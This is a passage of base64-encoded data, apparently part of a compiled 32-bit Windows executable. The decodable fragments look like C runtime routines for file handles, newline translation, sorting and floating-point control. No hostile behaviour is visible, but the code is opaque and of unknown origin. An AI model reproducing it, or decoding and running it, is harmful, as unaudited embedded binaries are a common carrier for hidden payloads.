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vZdmyLRRBWV40UAYvyi/k783co6wONSQCLTRRXVv8VBLkLEP9VFIPECIXAfgKL/otFEAPwO/N24ItNCIvwi9M7+3QhhcB0HSv7igKNUgGKTBf/iEQX/4hK/4PuAXXri0UQi00IK9iNFAE72XeeX16LTfwzzVvoU33+/4vlXcPMzMzMzMzMzMzMi/9Vi+yLRQxXi30IO/h0JlaLdRCF9nQdK/iNmwAAAACKCI1AAYpUB/+ITAf/iFD/g+4BdeteX13DzMzMzMzMzIv/VYvsgewcAQAAoRSwERAzxYlF/ItNCItVDImN/P7//1aLdRSJtQD///9Xi30Qib0E////hcl1JIXSdCDojHT//8cAFgAAAOhKcf//X16LTfwzzeisfP7/i+Vdw4X/dNyF9nTYx4X4/v//AAAAAIP6Ag+CEgMAAEoPr9dTA9GJlQj///+LwjPSK8H3941YAYP7CHcWVlf/tQj///9R6H3+//+DxBDptwIAANHrD6/fA9lTUYvOiZ3w/v///xUEuQsQ/9aDxAiFwH4QV1P/tfz+///o6P7//4PEDP+1CP///4vO/7X8/v///xUEuQsQ/9aDxAiFwH4VV/+1CP////+1/P7//+i2/v//g8QM/7UI////i85T/xUEuQsQ/9aDxAiFwH4QV/+1CP///1Pojv7//4PEDIuFCP///4v4i7X8/v//i5UE////iYXs/v//kDvedjcD8om19P7//zvzcyWLjQD///9TVv8VBLkLEP+VAP///4uVBP///4PECIXAftM73nc9i4UI////i70A////A/I78HcfU1aLz/8VBLkLEP/Xi5UE////g8QIhcCLhQj///9+24u97P7//4m19P7//4u1AP///+sGjZsAAAAAi5UE////K/o7+3YZU1eLzv8VBLkLEP/Wg8QIhcB/4YuVBP///4u19P7//4m97P7//zv+cl6Jlej+//+JveT+//8793Qzi96L14u16P7//yvfigKNUgGKTBP/iEQT/4hK/4PuAXXri7X0/v//i53w/v//i5UE////i4UI////O98Phfr+//+L3omd8P7//+nt/v//A/o733MyjaQkAAAAACv6O/t2JYuNAP///1NX/xUEuQsQ/5UA////i5UE////g8QIhcB02Tvfci+LtQD///8r+ju9/P7//3YZU1eLzv8VBLkLEP/Wi5UE//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